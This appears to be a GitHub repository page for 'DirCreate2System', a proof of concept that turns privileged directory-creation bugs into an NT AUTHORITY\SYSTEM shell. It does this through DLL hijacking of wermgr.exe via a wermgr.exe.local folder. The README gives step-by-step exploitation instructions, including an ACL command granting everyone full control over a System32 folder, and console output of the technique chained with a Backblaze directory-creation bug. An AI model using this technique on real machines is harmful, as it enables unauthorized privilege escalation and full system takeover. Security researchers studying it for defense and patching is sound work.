

 main ▾





Go to file


<> Code ▾


About


Weaponizing to get NT SYSTEM for Privileged Directory Creation Bugs with Windows Error Reporting


windows-exploitation


windows-privilege-escalation


 Readme

 Activity

 Custom properties

 357 stars

 6 watching

 39 forks


Report repository


Releases

No releases published

Packages

No packages published

 README



DirCreate2System

Weaponizing to get NT AUTHORITY\SYSTEM for Privileged Directory Creation Bugs with Windows Error Reporting

Short Description:

I've discovered **comctl32.dll** (which is missing in system dir which doesn't really exist) has been loaded by wermgr.exe via windows error reporting by running schtasks. It means if we can create a folder name as **C:\windows\system32\wermgr.exe.local** with Full permission

ACL, we can hijack the **comctl32.dll** in that folders. Then, I created this poc as a Directory creation to NT AUTHORITY\SYSTEM shell method.

POC video

[POC.wmv](#) (with backblaze's directory creation bug)

Remark: I've already reported to backblaze and they replied me that it's know issues. So, I made a video poc for educational purpose of this dircreate2system poc.

For testing purposes:

(if you have a directory creation bug via service vulnerabilities, you don't need administrator access)

1. As an administrator, create directory `wermgr.exe.local` in `C:\Windows\System32\`
2. And then, give it access control `cacls`
`C:\Windows\System32\wermgr.exe.local /e /g everyone:f`
3. Place `spawn.dll` file and `dircreate2system.exe` in a same directory.
4. Then, run `dircreate2system.exe`.
5. Enjoy a shell as NT AUTHORITY\SYSTEM.

Languages



```
C:\Windows\system32\cmd.exe - powershell -ep bypass
PS C:\Users\lowpriv\Desktop\poc> .\dircreate2system.exe
PS C:\Users\lowpriv\Desktop\poc> .\exp.ps1
[+] Backblaze Control Panel local Privilege Escalation !!!
[+] Arbitrary directory creation goP !!!
[+] Creating Junction: E:\bzvol -> \RPC CONTROL
[+] Creating DosDevice: Global\GLOBALROOT\RPC CONTROL\bzscratch -> \\??\C:\Windows\System32\wermgr.exe.local
[+] Symlink setup successfully.
[+] Link type: File system symbolic link
[+] Link path: E:\bzvol\bzscratch
[+] Target path: C:\Windows\System32\wermgr.exe.local
[+] Associated Junction: E:\bzvol\bzscratch
[+] Associated DosDevice: Global\GLOBALROOT\RPC CONTROL\bzscratch
[+] Trigger in Backblaze Control Panel
[+] Counting ...
[+] Checking exploitable directory C:\Windows\system32\whoami
[+] Exploitable Directory has been found
[+] Removing Junction: E:\bzvol\bzscratch
[+] Deleting DosDevice: Global\GLOBALROOT\RPC CONTROL\bzscratch
[+] Symlink deleted.
PS C:\Users\lowpriv\Desktop\poc> .\
[+] Arbitrary Directory Creation t
[+] Poc By @404death
[+] Finding directory to hijack...
[+] directory successfully created
[+] Copying dll file to created di
[+] Dll File successfully created.
[+] Spawning SYSTEM shell...
PS C:\Users\lowpriv\Desktop\poc>
```

Note:

You can also use another methods by viewing this [dir_create2system.txt](#)

[Terms](#) [Privacy](#) [Security](#) [Status](#) [Docs](#) [Contact](#) [Manage cookies](#) [Do not share my personal information](#)

